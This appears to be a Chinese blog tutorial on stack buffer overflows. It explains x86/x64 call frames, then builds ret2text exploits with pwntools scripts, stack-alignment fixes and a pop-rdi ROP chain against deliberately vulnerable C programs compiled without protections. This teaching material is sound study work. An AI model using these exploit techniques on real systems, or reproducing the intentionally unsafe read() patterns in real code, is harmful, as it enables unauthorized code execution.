栈溢出基础

栈栈栈,玄又玄,

生而无物用时现,自高走低为哪般,

无用数据随意弃不想耗资源,

谁又知阴沟里也能翻大船

32 位函数调用栈

我们有如下 C 代码,及其对应汇编代码:

image

每一个函数均有对应的栈帧,bp 栈底指针寄存器与 sp 栈顶指针寄存器所共同限定的内存区域随着 ip 指令指针寄存器所在栈帧的变化而变化,该区域即程序当前所处的函数栈帧。这一操作,使得函数执行过程中各种指令操作被限定在栈帧中,具有局部性,不会污染到其他函数的栈数据。程序执行流进行到函数入口处时,当前 ebp 栈底指针的地址(ebp of caller)入栈,保存父函数的栈帧信息,以便函数返回后可以回溯到其调用前的堆栈状态。

image

ebp 指针从父函数栈底移到 esp 所指的父函数栈顶,构建新的函数栈帧,进行函数的指令执行流。特别地,实际中当指令执行的时候,EIP 已移动到下一行

image

esp 自减 4 个字长,开辟栈空间,用于存储局部变量 ret 以及栈对齐。

image

为即将调用的子函数 callee() 自右向左压入实参。PUSH 指令使 esp 自减 1 个字长,同时将压入的操作数存储在新的栈区域上。

image

调用子函数 callee() ,CALL 指令先将 eip 指向的地址(即 CALL 下一条指令 add esp, 0xc )压入栈中,保存子函数的返回地址,以便子函数执行完毕跳转继续执行该函数的指令,恢复其执行流,再 JMP 到子函数的入口处,也就是等价于

push eip
jmp callee

JMP 的实质是,令 eip 指向操作数 callee 对应的地址。

image

跳转到子函数 callee() 继续执行,前两步依然是保存函数 caller() 的栈底指针所指向的地址,以及保存当前栈指针到基址指针,从而限定子函数的栈帧区域;随后便是子函数自身的功能实现——获取传入的实参(以 ebp 寻址),进行加法运算,将计算结果保存在 EAX 寄存器中。

image

子函数即将结束,根据父函数 caller() 信息,恢复父函数的栈帧,与开辟子函数栈帧的操作互逆,即从栈中弹出上一个函数 caller()ebp 所指向地址到 ebp 中,POP 指令使得 esp 自增 1 个字长,指向子函数的返回地址。

image

此时,父函数的栈帧信息已经恢复,直接恢复程序执行流,RET 指令等价于 pop eip ,将返回地址弹出到 EIP 寄存器中,继续执行父函数 caller() 的下一条指令。需要注意到,先前子函数栈帧的数据并不会清理,而是直接废弃,下一次函数调用则直接覆盖。

image

为完全回溯到函数调用前的栈状态,还需要执行一次平衡栈操作,esp 上移废弃先前压入的三个实参;随后,完成 caller() 函数自身的功能,整型变量 ret 接受子函数 callee() 返回值后加 4,存入 EAX 作为 caller() 函数返回值。

image

image

父函数 caller() 即将返回,同样需要恢复其调用函数的栈帧信息,其中 LEAVE 指令等价于:

mov esp, ebp
pop ebp

这也是与开辟栈帧时操作互逆的,先将 esp 栈顶指针移到 ebp 栈底指针,废弃栈帧内数据,再 POP 调用函数的 ebp 栈底地址到 EBP 寄存器中,ebp 指向上一个函数栈帧的栈底地址,回到调用函数的栈帧格局。

image

image

同样地,恢复调用函数的执行流,POP 返回地址到 eip 中,继续执行调用函数的下一步指令。

image

在 32 位系统中,一个函数被调用时,会经过以下过程:

  1. 以栈的方式保存函数实参
  2. 保存子函数结束后的返回地址
  3. 保存父函数的栈帧信息ebp of caller
  4. 在栈上开辟空间供局部变量使用
  5. 实现函数自身功能
  6. 释放函数使用的局部变量空间
  7. 根据保存的父函数信息,恢复父函数栈帧
  8. 由保存的返回地址,恢复父函数执行流

可以得到基本的栈帧模型:

image

从这一过程来看:

  • EBP 作为栈底确立函数栈帧的基地址,作为寻址基准获取函数运行中需要的各类数据
  • ESP 作为栈顶开辟新的栈帧空间,在函数调用和返回过程中精准控制栈空间使用,废弃无用的栈数据
  • EIP 指挥程序的执行流,宏观调控函数栈帧的运作

32位简单ret2text攻击

给出 C 源码:

// ret2text_easy.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char sh[] = "/bin/sh";

int func(char *cmd) {
	system(sh);
	return 0;
}

int dofunc() {
	char b[8] = {};
	puts("input:");
	read(0, b, 0x100);
	
	return 0;
}

int main() {
	dofunc();
	return 0;
}

按 32 位编译:

gcc -m32 ret2text_easy.c -fno-stack-protector -no-pie -o ret2text_easy_x86

编译时如出现报错: fatal error: xxx.h: No such file or directory,则是编译环境未完善的原因所致,执行命令 apt-get install gcc-multilib 即可。

checksec 一下程序的基本信息,发现无栈溢出保护,无 PIE 保护,考虑栈溢出攻击:

image

拖入 IDA 静态分析,很容易发现 dofunc() 函数中存在栈溢出漏洞。ssize_t read(int fd, void *buf, size_t count)fd 为文件描述符,0 代表键盘输入,buf 为接受数据的缓冲区地址,count 表示期望读取的字节数,并返回实际读取到的字节数。

只要是允许输入足够长数据的诸如 readgets 等输入函数,都可以作为溢出注入点。

image

我们知道,一个函数执行结束、恢复父函数栈帧后,将会 RET 到返回地址,恢复父函数的执行流。那么,通过栈溢出覆盖返回地址为特定地址,就可以劫持程序执行流,让程序跳转到我们想要执行的代码继续运行,而从 IDA 中可以看到后门函数 func() 存在 system 函数调用,因此我们可以将 dofunc() 函数的返回地址覆盖为 func() 的地址,从而获取到 shell,完成攻击。

image

进入 GDB 调试,start 运行到程序入口点暂停,ni 指令步进到 call dofuncsi 步入函数,发现溢出输入地址:

image

计算从输入地址到 ebp 的偏移 s ,通过 stack 15 查看当前栈,输入 s 个字节后刚好覆盖到上一个函数的 ebp (指恰好尚未覆盖该地址),还需要覆盖 1 个字长即 0x4 个字节,才能覆盖到返回地址,则从输入点溢出 s + 0x4 个字符后,再输入数据修改返回地址即可。这里我们有 s = 0x10

image

也可以通过 IDA 的栈视图看出。在 dofunc() 函数反汇编代码或伪代码界面中点击对应的变量 buf 进入 Stack of dofunc 页面,返回地址的栈偏移减去 buf 的栈偏移(本质上是取绝对值相加)即可得到需要溢出的垃圾数据长度。这里我们有 0x4 - (-0x10) = 0x14 个字符需要溢出。

image

有如下 Python Exp 脚本:

from pwn import *
context(log_level='debug', arch='i386', os='linux')
file = './ret2text_easy_x86'
io = process(file)

system_addr = 0x8049186
padding = 0x10 + 0x4
payload = flat([b'a' * padding, system_addr])

io.sendline(payload)
io.interactive()

32位传参ret2text

system() 函数接受一个字符串,按传入的字符串执行命令,而我们获取 shell 需要提前为 system() 函数调用传入 "/bin/sh" 参数。上面例题为我们提前传入了,接下来我们研究需要手动布栈传参的情形:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char sh[] = "/bin/sh";

int func(char *cmd) {
	system(cmd);
	return 0;
}

int dofunc() {
	char b[8] = {};
	puts("input:");
	read(0, b, 0x100);
	
	return 0;
}

int main() {
	dofunc();
	return 0;
}

按 32 位编译:

gcc -m32 ret2text_arg.c -fno-stack-protector -no-pie -o ret2text_arg_x86

显然我们有溢出输入点。IDA 中 Shift + F12 查看字符串,发现 /bin/sh ,点击即可追踪到其所在位置并获取到地址:

image

接下来需要我们手动将 /bin/sh 参数压入栈中。为确保参数能够正确传入 func() 函数中,需要遵循函数调用约定压入参数,正常程序执行 CALL 之前,会先压入参数,再 push eip 保存调用函数的执行流,最后 JMP 到被调用函数;而通过栈溢出篡改程序执行流后,程序会先将覆盖后的返回地址 POP 到 EIP 上,跳转到该地址,随后依然同正常函数调用一致,按函数调用约定获取传入的参数。对此,我们应当布栈如下:

image

一定要注意,根据栈帧模型,func() 地址上面应当是执行完 func() 后的返回地址(随便填入任意 8 字节的十六进制地址即可,不需要关注 system 函数后的执行流),再上方才是传入的参数。由于 payload 是从下往上覆盖的,0xdeadbeef/bin/sh 地址应当在 func() 地址后依次发送,有 Python Exp 脚本如下:

from pwn import *
context(log_level='debug', arch='i386', os='linux')
file = './ret2text_arg_x86'
io = process(file)

func_addr = 0x8049186
binsh_addr = 0x804C018
padding = 0x10 + 0x4
payload = flat([b'a' * padding, func_addr, 0xdeadbeef, binsh_addr])

io.sendline(payload)
io.interactive()

限制输入数据长度的 ret2text

如果我们略微修改一下之前的传参 ret2text 的 C 源码:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char sh[] = "/bbbbbbbbbbbbbbbbbbin/sh";

int func(char *cmd) {
	system(cmd);
	return 0;
}

int dofunc() {
	char b[8] = {};
	puts("input:");
	read(0, b, 0x1c);
	return 0;
}

int main() {
	dofunc();
	return 0;
}
  • 全局变量 sh 添加大量干扰字符
  • 限制 read() 函数的数据输入长度

按 32 位编译:

gcc -m32 ret2text_limit.c -fno-stack-protector -no-pie -o ret2text_limit_x86

Linux 系统中存在环境变量 $PATH ,本质上是一个字符串变量,当终端输入命令时会从其中记录的路径中查找对应的可执行文件。echo $PATH 即可查看 Linux 的环境变量,如下图,我们可以看到存在 /bin 目录,这意味着当我们在命令行输入 sh 时,Linux 会自动索引到对应的可执行文件路径 /bin/sh

image

因此,对于字符串变量 sh ,只需要截取其中的 "sh" 即可。在某些程序的反编译过程中,IDA 可能将原本是数据的部分当成了指令,把指令部分当成了数据,此时就需要进行手动干预,即使用 ACDU 硬编码模式

  • a:以字符串形式显示
  • ccode,以代码形式显示
  • ddata,以数据形式显示;使用一次快捷键 d ,变为默认 db 的形式,以一个字节为单位,再按一次则为 dw,以两个字节为单位,按第三次则为 dd,以四个字节为单位
  • uundefined,未定义的显示形式,按原始字节显示

我们在字符串 sh 上按 d 将其转换为数据形式,截取其末位两个字符:

image

现在还有一个问题:按照之前我们的 payload,覆盖到返回地址需要 0x14 个字节,func() 函数地址占 4 个字节,func() 函数执行完成后的返回地址 0xdeadbeef 占 4 个字节,传入字符串地址也占 4 个字节,总共需要写入 0x20 个字节,显然是大于 read() 函数允许输入的字节数 0x1c 的。

image

注意到,由于我们直接 RET 到 func() 函数地址,需要模拟 call func 过程中 push eip 的指令操作,因而布置了 0xdeadbeef 这一被调用函数的返回地址;如果我们直接 call system ,那么程序将自动帮我们完成 push eip 这一操作(CALL 分为两步:① PUSH EIP ② JMP 到指定操作数地址上),我们也就不需要再手动布栈了。我们找到 call system 的地址:

image

这样,我们就直接传入 call system 地址,后面只跟传入的截断字符串地址即可。

from pwn import *
context(log_level='debug', arch='i386', os='linux')
file = './ret2text_limit_x86'
io = process(file)

system_addr = 0x804919F
sh_addr = 0x804C02E
padding = 0x10 + 0x4
payload = flat([b'a' * padding, system_addr, sh_addr])

io.sendline(payload)
io.interactive()

64 位函数调用栈

函数调用过程与 32 位类似,但是:

  • RBP、RSP、RIP、……
  • 前 6 个参数用寄存器传参
  • 第 7 个以后的参数存放于栈中
Register Arguments
rdi first argument
rsi second
rdx third
rcx forth
r8 fifth
r9 sixth

64 位简单 ret2text 攻击

32 位简单 ret2text 攻击这一节给出的 C 源码按 64 位编译(一定要使用 18.04 以前的旧版本 Ubuntu 编译并运行,否则会出现栈平衡问题导致无法打通!这一问题的原理与解决方法将在下面给出),取消栈溢出保护、PIE 保护:

gcc ret2text_easy.c -fno-stack-protector -no-pie -o ret2text_easy_x64

与 32 位攻击思路类似,需要注意 64 位程序的 1 个字长等于 8 字节,覆盖父函数栈帧的 rbp 应当输入 0x8 个字符

image

image

image

有如下 Python Exp 脚本:

from pwn import *
context(log_level='debug', arch='amd64', os='linux')
file = './ret2text_easy_x64'
io = process(file)

system_addr = 0x4005B6
padding = 0x10 + 0x8
payload = flat([b'a' * padding, system_addr])

io.sendline(payload)
io.interactive()

Ubuntu 18.04 之后的新版本打不通怎么办?

如果我们在新版本 Ubuntu 上编译程序并运行脚本:

from pwn import *
context(log_level='debug', arch='amd64', os='linux')
file = './ret2text_easy_x64'
io = process(file)

system_addr = 0x401176
padding = 0x8 + 0x8
payload = flat([b'a' * padding, system_addr])

io.sendline(payload)
io.interactive()

会直接 EOF 异常退出,无法正确获取到 shell 权限。对于做题时的未知问题,可以采用 GDB 附加调试的方式逐步跟进程序执行流,直到发现报错点。我们在发送 payload 之前加入如下代码,附加进程到 GDB 上调试:

gdb.attach(io)		# 附加进程到 GDB
pause()             # 暂停进程,确保 GDB 有足够时间附加

SSH 远程调试配置

gdb.attach 的进程附加是通过新开一个终端窗口,再 gdb attach 到对应 PID 来实现的,对于使用 SSH 服务远程连接 Linux(包括 Mac 虚拟机模拟用户,图形化界面无法正常使用,只能通过命令行操作,为了更好的命令行体验,也是推荐这么做的),Python 脚本直接执行 attach 命令会出现如下错误:

image

这是系统未处于 GNOME 图形化界面,无法自动创建一个新的终端窗口导致的,我们需要指定使用的终端。显然我们无法让一个终端窗口新建同级的窗口,因此可以选择支持分屏的终端复用器 tmux

在 Python 脚本开头的 context() 函数追加一个参数 terminal ,传入 tmux 相关配置的列表:

context(log_level='debug', arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h'])

其中 splitw -h 两个选项将 tmux 划分为左右两个窗格。

先执行 tmux 命令进入 tmux 界面,再运行 Python 脚本即可实现分屏调试,左边窗格为 Python 运行界面,右边窗格为 GDB 主界面命令行。当然,我们需要手动新建一个 Linux 终端窗口 /dev/pts/1 以输出 pwndbg 调试信息。

image

GDB 调试过程

运行 Python 脚本,自动 attach 到 GDB,从函数调用 BACKTRACE 中可以看出程序暂停在 read() 函数处,输入 finish 指令步出该函数,回到 dofunc() 函数的执行流。此时若使用的是 tmux ,GDB 执行命令后会阻塞,Ctrl + B 后按左方向键切换到 Python 窗格,Enterpause() 不再生效,Python 脚本继续执行,由 GDB 动态调试接管,逐一执行指令。对于一般的图形化界面调试也是一样的,切换到 Python 运行页面 Enter 后由 GDB 接管。

image

ni 进入 func() 函数(说明栈溢出部分没有问题)后,继续 ni 步进到调用 system() 函数处,传入参数无误:

image

si 步入 system() 函数,持续 ni ,直到发现阻塞点(实际上,不步入 system() 直接 ni 也会卡在阻塞点),出现段错误而无法继续运行,原因已在 pwndbg 输出的反汇编界面给出,rsp + 0x50 所指向地址未对齐到 16 字节。这便是基本的栈平衡问题。

image

堆栈平衡

堆栈平衡是指 Pwn 漏洞利用中,payload 需要按 16 字节栈对齐(字节数是 16 的倍数)。32 位漏洞利用中不存在堆栈平衡一说,仅在 64 位中存在

我们知道,64 位程序的栈操作是按 8 字节(1 字长)进行,地址表示采用十六进制,其计数规则为满 16 进 1,栈地址最低位只可能为 0 或 8.

image

glibc 2.27 之后引入了 XMM 寄存器,用于记录程序状态,主要出现在 Ubuntu 18.04 及以后的版本,一般用于:

  • 32 位和 64 位浮点数的操作

  • SIMD 指令:一条 SIMD 指令可以同时接受多个数据流,提升处理速度

  • SSE 指令

在调用 system() 函数时,会进入 do_system 执行 movaps 指令,对 XMM 寄存器进行操作,movaps 指令要求 rsp 按 16 字节对齐,否则直接抛出异常退出。这要求 rsp 地址为 16 的整数倍。从二进制角度来看,\(16=2^4\),若十六进制地址是 16 的倍数,其对应的二进制数则由某二进制数左移 4 位得到。根据位运算左移低位补 0 原则,该二进制数末 4 位为 0。又因 4 位二进制数对应 1 位十六进制数,故 16 字节对齐的栈地址最低位必为 0

call system 或者直接 JMP 到 system() 之前,栈顶指针指向的栈地址必须对齐 16 字节,POP EIP 或者 RET 会使 rsp 指向未对齐的栈地址,但 system() 中的实现会将栈自动复位;倘若进入 system() 之前 rsp 就没有对齐,最终进行到 movaps 指令时也不会对齐。

为使 rsp 对齐16字节,核心思想就是增加或减少栈内容,使 rsp 地址能相应地增加或减少 8 字节,从而能够保证最低位为 0 ,对齐 16 字节。我们只需要进行奇数次 poppush 栈操作指令(即能实质改变栈布局的指令),就能把地址以 8 结尾的 rsp 变为以 0 结尾,使其16字节对齐。

此时我们有两种方法:

其一,将覆盖的返回地址加上一个常数,使之跳过一条栈操作指令,完成奇数次栈操作,从而 16 字节对齐。这一常数有时是 1,有时会更大,一切以能否跳过栈操作指令为准。如下图,我们需要对 func() 函数入口地址 0x401176 + 5(一条指令会占用多个字节)才能跳过一条栈操作指令:

image

这样,对于在高版本 64 位 Ubuntu 编译环境下运行的例题,修改 Python 脚本如下则可以顺利打通:

from pwn import *
context(log_level='debug', arch='amd64', os='linux')
file = './ret2text_easy_x64'
io = process(file)

system_addr = 0x401176 + 5
padding = 0x8 + 0x8
payload = flat([b'a' * padding, system_addr])

io.sendline(payload)
io.interactive()

其二,在进入 system() 函数之前增加一个 ret 指令,即在 payload 覆盖的返回地址中、想要控制执行流进入的目标地址之前多发送一个 ret 地址,也是最为常用的做法。这样的操作之下,栈顶被迫上移 8 个字节,使之对齐 16 字节,同时也将目标地址 POP 到了 RIP 上,程序依然可以顺利地进入目标函数,不会改变原本的执行流。

我们使用 ROPgadget 工具可以方便地查找到可用的 ret 地址:

ROPgadget --binary ret2text_easy_x64 --only "ret"

image

修改后的 Python 脚本如下:

from pwn import *
context(log_level='debug', arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h'])
file = './ret2text_easy_x64'
io = process(file)

func_addr = 0x401176
ret_addr = 0x40101a
padding = 0x8 + 0x8
payload = flat([b'a' * padding, ret_addr, func_addr])

# gdb.attach(io)
# pause()

io.sendline(payload)
io.interactive()

堆栈平衡问题发生与否取决于发送 payload 的形式。我们可以通过预判调用 system() 函数之前的栈布局来推测是否会发生堆栈平衡问题。一般情况下,我们会在出现 EOF 问题时通过 GDB 附加调试排除其他问题,发现栈对齐问题并解决。

64 位传参 ret2text

我们在 32 位函数调用栈中实现了 32 位传参 ret2text,接下来继续利用那一节使用的 C 源码,使用 Ubuntu 16.04(否则会无法找到 gadget!)按 64 位编译:

gcc ret2text_arg.c -fno-stack-protector -no-pie -o ret2text_arg_x64

64 位函数传参遵循「前 6 个参数存入寄存器」的原则,那么 /bin/sh 字符串应当存入 RDI 寄存器中。显然,我们无法通过栈来更改寄存器存储的值,需要利用程序中已有的小片段(gadgets来改变寄存器乃至变量的值,即返回导向式编程Return Oriented Programming, ROP)。

gadgets 通常是以 ret 结尾的指令序列,通过这样的指令序列,我们可以多次劫持程序控制流,从而运行特定的指令序列,以完成攻击的目的。ROP 的核心在于,利用指令集中的 ret 指令,从而通过数条 gadget 改变指令流的执行顺序

众多 gadget 中,pop register; ret 系列指令常用于对特定寄存器赋值,分将栈上 1 字长内容 POP 到指定寄存器上、RET 维持函数正常执行调用两步执行。在此,我们需要将 /bin/sh 字符串地址赋值给 RDI 寄存器,再 RET 到 func() 函数入口处执行 system() 函数。pop rdi; ret 刚好满足我们的要求,先将 /bin/sh 地址 POP 到 RDI 中,再 RET 到 func() 地址。因此,覆盖的返回地址布栈应当是:pop rdi; ret -> /bin/sh -> func()

使用 ROPgadget 工具,查找到可用 gadget pop rdi; ret

image

同 32 位传参 ret2text 一致,IDA Shift + F12 查找 /bin/sh 字符串地址,写出如下 Python Exp 脚本:

from pwn import *
context(log_level='debug', arch='amd64', os='linux')
file = './ret2text_arg_x64'
io = process(file)

padding = 0x10 + 0x8
func_addr = 0x4005B6
binsh_addr = 0x601048
pop_rdi_ret = 0x400693
ret = 0x400451
payload = flat([b'a' * padding, pop_rdi_ret, binsh_addr, ret, func_addr])

io.sendline(payload)
io.interactive()

这里若出现了栈平衡问题导致打不通,直接添加一个 ret 地址即可;或者,我们可以直接定位到 call system 的地址,不再通过 func() 函数入口处调用 system() 函数,即减少了一次栈操作,自然也就 16 字节对齐了。

posted @ 2025-05-12 20:57  孤独者的夜空  阅读(36)  评论(0)    收藏  举报